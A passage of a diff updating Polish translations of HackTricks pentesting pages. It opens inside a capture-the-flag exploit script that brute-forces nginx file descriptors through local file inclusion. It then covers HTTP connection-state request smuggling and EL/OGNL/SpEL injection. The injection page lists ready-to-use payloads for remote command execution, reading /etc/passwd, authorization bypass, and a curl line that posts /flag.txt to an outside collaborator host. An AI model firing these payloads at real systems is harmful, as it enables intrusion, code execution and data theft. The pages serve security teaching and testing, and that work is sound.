f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] znaleziono proces roboczy nginx: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # załaduj duże ciało klienta, aby wymusić nginx na utworzenie /var/lib/nginx/body/$X def uploader(): print('\[+] rozpoczynanie przesyłania') while not done: requests.get(URL, data=' //'
|
||||
```
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
```
|
||||
```python
|
||||
def send_payload_worker(requests_session): while True: send_payload(requests_session)
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session): # Użyj wszystkich procesorów do wysyłania ładunku jako ciała żądania dla Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# Użyj wszystkich CPU do wysyłania ładunku jako treści żądania dla Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids): # Ta metoda tworzy ścieżkę z losowej liczby składników ścieżki ProcFS. Wygenerowana ścieżka będzie wyglądać jak /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# Ta metoda tworzy ścieżkę z losowej liczby komponentów ścieżki ProcFS.
|
||||
# Wygenerowana ścieżka będzie wyglądać jak /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Flagi są sformatowane jako hxp{} if "hxp" in d: print("Znaleziono flagę! ") print(d)
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# Flagi są formatowane jako hxp{}
|
||||
if "hxp" in d:
|
||||
print("Znaleziono flagę! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Skanuj deskryptory plików Nginx między 10 a 45 w pętli. Ponieważ pliki i gniazda ciągle się zamykają - bardzo często otwiera się deskryptor pliku żądania w tym zakresie for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Skanuj FD Nginx w zakresie 10 - 45 w pętli.
|
||||
# Ponieważ pliki i gniazda ciągle się zamykają - bardzo często zdarza się, że FD treści żądania otwiera się w tym zakresie
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "main": print('\[DEBUG] Tworzenie sesji żądań') requests_session = create_requests_session() print('\[DEBUG] Pobieranie identyfikatorów procesów Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] Identyfikatory procesów Nginx: {nginx_pids}') print('\[DEBUG] Rozpoczęcie wysyłania ładunku') send_payload_multiprocess(requests_session) print('\[DEBUG] Rozpoczęcie odczytu deskryptorów plików') read_file_multiprocess(requests_session, nginx_pids)
|
||||
if __name__ == "__main__":
|
||||
print('\[DEBUG] Tworzenie sesji żądań')
|
||||
requests_session = create_requests_session()
|
||||
print('\[DEBUG] Pobieranie pidów Nginx')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'\[DEBUG] Pidy Nginx: {nginx_pids}')
|
||||
print('\[DEBUG] Rozpoczynanie wysyłania ładunku')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('\[DEBUG] Rozpoczynanie czytania fd')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
```
|
||||
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# HTTP Connection Request Smuggling
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**To jest streszczenie posta** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
**To jest podsumowanie posta** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
||||
## Ataki na Stan Połączenia <a href="#state" id="state"></a>
|
||||
## Ataki stanu połączenia <a href="#state" id="state"></a>
|
||||
|
||||
### Walidacja Pierwszego Żądania
|
||||
### Walidacja pierwszego żądania
|
||||
|
||||
Podczas przekierowywania żądań, serwery proxy odwrotne mogą polegać na nagłówku **Host**, aby określić docelowy serwer backendowy, często polegając na białej liście hostów, które mają zezwolenie na dostęp. Jednak istnieje podatność w niektórych serwerach proxy, gdzie biała lista jest egzekwowana tylko podczas początkowego żądania w połączeniu. W rezultacie atakujący mogą wykorzystać to, najpierw wysyłając żądanie do zezwolonego hosta, a następnie żądając strony wewnętrznej przez to samo połączenie:
|
||||
Podczas routingu żądań, serwery proxy mogą polegać na **nagłówku Host**, aby określić docelowy serwer zaplecza, często opierając się na białej liście hostów, którym zezwolono na dostęp. Jednak w niektórych proxy istnieje luka, w której biała lista jest egzekwowana tylko w przypadku początkowego żądania w połączeniu. W związku z tym, atakujący mogą to wykorzystać, najpierw wysyłając żądanie do dozwolonego hosta, a następnie żądając dostępu do wewnętrznej strony przez to samo połączenie:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: [allowed-external-host]
|
||||
|
@ -26,9 +29,9 @@ Host: [allowed-external-host]
|
|||
GET / HTTP/1.1
|
||||
Host: [internal-host]
|
||||
```
|
||||
### Pierwsze żądanie routingu
|
||||
### First-request Routing
|
||||
|
||||
W niektórych konfiguracjach serwer front-endowy może używać **nagłówka Host pierwszego żądania** do określenia routingu do back-endu dla tego żądania, a następnie trwale kierować wszystkie kolejne żądania z tego samego połączenia klienta do tego samego połączenia z back-endem. Można to zademonstrować jako:
|
||||
W niektórych konfiguracjach serwer front-end może używać **nagłówka Host pierwszego żądania** do określenia routingu back-end dla tego żądania, a następnie trwale kierować wszystkie kolejne żądania z tego samego połączenia klienta do tego samego połączenia back-end. Można to zademonstrować jako:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
|
@ -36,20 +39,23 @@ Host: example.com
|
|||
POST /pwreset HTTP/1.1
|
||||
Host: psres.net
|
||||
```
|
||||
To potencjalnie może być połączone z [atakiem na nagłówek Hosta](https://portswigger.net/web-security/host-header), takim jak zatrucie resetowania hasła lub [zatrucie pamięci podręcznej sieciowej](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne podatności lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
|
||||
To zagadnienie może być potencjalnie połączone z [atakami na nagłówek Host](https://portswigger.net/web-security/host-header), takimi jak złośliwe resetowanie hasła lub [zatrucie pamięci podręcznej](https://portswigger.net/web-security/web-cache-poisoning), aby wykorzystać inne luki lub uzyskać nieautoryzowany dostęp do dodatkowych wirtualnych hostów.
|
||||
|
||||
{% hint style="info" %}
|
||||
Aby zidentyfikować te podatności, można wykorzystać funkcję 'connection-state probe' w HTTP Request Smuggler.
|
||||
Aby zidentyfikować te luki, można wykorzystać funkcję 'connection-state probe' w HTTP Request Smuggler.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# EL - Expression Language
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **bezpłatne** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
|
@ -28,18 +31,18 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Język wyrażeń (EL) jest integralny w JavaEE do łączenia warstwy prezentacji (np. strony internetowe) i logiki aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest powszechnie używany w:
|
||||
Expression Language (EL) jest integralną częścią JavaEE, łączącą warstwę prezentacji (np. strony internetowe) z logiką aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest głównie używane w:
|
||||
|
||||
* **JavaServer Faces (JSF)**: Do wiązania komponentów interfejsu użytkownika z danymi/akcjami w backendzie.
|
||||
* **JavaServer Pages (JSP)**: Do dostępu i manipulacji danych w stronach JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Do ułatwiania interakcji warstwy internetowej z zarządzanymi beanami.
|
||||
* **JavaServer Faces (JSF)**: Do wiązania komponentów UI z danymi/akcjami backendowymi.
|
||||
* **JavaServer Pages (JSP)**: Do dostępu do danych i manipulacji w ramach stron JSP.
|
||||
* **Contexts and Dependency Injection for Java EE (CDI)**: Do ułatwienia interakcji warstwy webowej z zarządzanymi beanami.
|
||||
|
||||
**Konteksty użycia**:
|
||||
|
||||
* **Spring Framework**: Stosowany w różnych modułach, takich jak Security i Data.
|
||||
* **Ogólne użycie**: Przez API SpEL przez programistów w językach opartych na JVM, takich jak Java, Kotlin i Scala.
|
||||
* **Spring Framework**: Stosowane w różnych modułach, takich jak Security i Data.
|
||||
* **Ogólne użycie**: Poprzez API SpEL przez programistów w językach opartych na JVM, takich jak Java, Kotlin i Scala.
|
||||
|
||||
EL jest obecny w technologiach JavaEE, środowiskach samodzielnych i rozpoznawalny poprzez rozszerzenia plików `.jsp` lub `.jsf`, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jego funkcje i użycie niektórych znaków mogą zależeć od wersji.
|
||||
EL jest obecne w technologiach JavaEE, w samodzielnych środowiskach i rozpoznawalne przez rozszerzenia plików `.jsp` lub `.jsf`, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jego funkcje i użycie niektórych znaków mogą być zależne od wersji.
|
||||
|
||||
{% hint style="info" %}
|
||||
W zależności od **wersji EL** niektóre **funkcje** mogą być **włączone** lub **wyłączone**, a zazwyczaj niektóre **znaki** mogą być **zabronione**.
|
||||
|
@ -47,7 +50,7 @@ W zależności od **wersji EL** niektóre **funkcje** mogą być **włączone**
|
|||
|
||||
## Podstawowy przykład
|
||||
|
||||
(Możesz znaleźć inny interesujący samouczek dotyczący EL pod adresem [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
|
||||
(Możesz znaleźć inny interesujący samouczek o EL w [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
|
||||
|
||||
Pobierz z repozytorium [**Maven**](https://mvnrepository.com) pliki jar:
|
||||
|
||||
|
@ -56,7 +59,7 @@ Pobierz z repozytorium [**Maven**](https://mvnrepository.com) pliki jar:
|
|||
* `commons-logging-1.2.jar`
|
||||
* `spring-expression-5.2.1.RELEASE.jar`
|
||||
|
||||
I utwórz następujący plik `Main.java`:
|
||||
I stwórz następujący plik `Main.java`:
|
||||
```java
|
||||
import org.springframework.expression.Expression;
|
||||
import org.springframework.expression.ExpressionParser;
|
||||
|
@ -90,13 +93,13 @@ Enter a String to evaluate:
|
|||
```
|
||||
Zauważ, jak w poprzednim przykładzie termin `{5*5}` został **oceniony**.
|
||||
|
||||
## **Samouczek oparty na CVE**
|
||||
## **Tutorial oparty na CVE**
|
||||
|
||||
Sprawdź to w **tym poście:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
|
||||
## Payloady
|
||||
|
||||
### Podstawowe działania
|
||||
### Podstawowe akcje
|
||||
```bash
|
||||
#Basic string operations examples
|
||||
{"a".toString()}
|
||||
|
@ -122,7 +125,7 @@ Sprawdź to w **tym poście:** [**https://xvnpw.medium.com/hacking-spel-part-1-d
|
|||
```
|
||||
### Wykrywanie
|
||||
|
||||
* Wykrywanie za pomocą Burp
|
||||
* Wykrywanie Burp
|
||||
```bash
|
||||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||||
|
@ -132,12 +135,12 @@ gk6q${"zkz".toString().replace("k", "x")}doap2
|
|||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||||
```
|
||||
* Zatrzymaj wykonanie na 10 sekund
|
||||
* Śpij 10 sekundy
|
||||
```bash
|
||||
#Blind detection vector (sleep during 10 seconds)
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||||
```
|
||||
### Zdalne dołączenie pliku
|
||||
### Zdalne Włączanie Plików
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
||||
```
|
||||
|
@ -163,11 +166,11 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
|||
# With HTMl entities injection inside the template
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
* Wykonanie kodu zdalnego **linux**
|
||||
* RCE **linux**
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
* RCE **Windows** (nieprzetestowane)
|
||||
* RCE **Windows** (nie testowane)
|
||||
```bash
|
||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||
```
|
||||
|
@ -207,7 +210,7 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
|
|||
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
|
||||
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
|
||||
```
|
||||
### Sprawdzanie środowiska
|
||||
### Inspecting the environment
|
||||
|
||||
* `applicationScope` - globalne zmienne aplikacji
|
||||
* `requestScope` - zmienne żądania
|
||||
|
@ -215,25 +218,25 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
* `sessionScope` - zmienne sesji
|
||||
* `param.X` - wartość parametru, gdzie X to nazwa parametru http
|
||||
|
||||
Musisz rzutować te zmienne na typ String, na przykład:
|
||||
Będziesz musiał rzutować te zmienne na String, jak:
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
#### Przykład pominięcia autoryzacji
|
||||
#### Przykład obejścia autoryzacji
|
||||
```bash
|
||||
${pageContext.request.getSession().setAttribute("admin", true)}
|
||||
```
|
||||
Aplikacja może również korzystać z niestandardowych zmiennych, takich jak:
|
||||
Aplikacja może również używać niestandardowych zmiennych, takich jak:
|
||||
```bash
|
||||
${user}
|
||||
${password}
|
||||
${employee.FirstName}
|
||||
```
|
||||
## Bypass WAF
|
||||
## WAF Bypass
|
||||
|
||||
Sprawdź [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
|
||||
## Odnośniki
|
||||
## References
|
||||
|
||||
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
||||
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
||||
|
@ -244,22 +247,25 @@ Sprawdź [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** na:
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
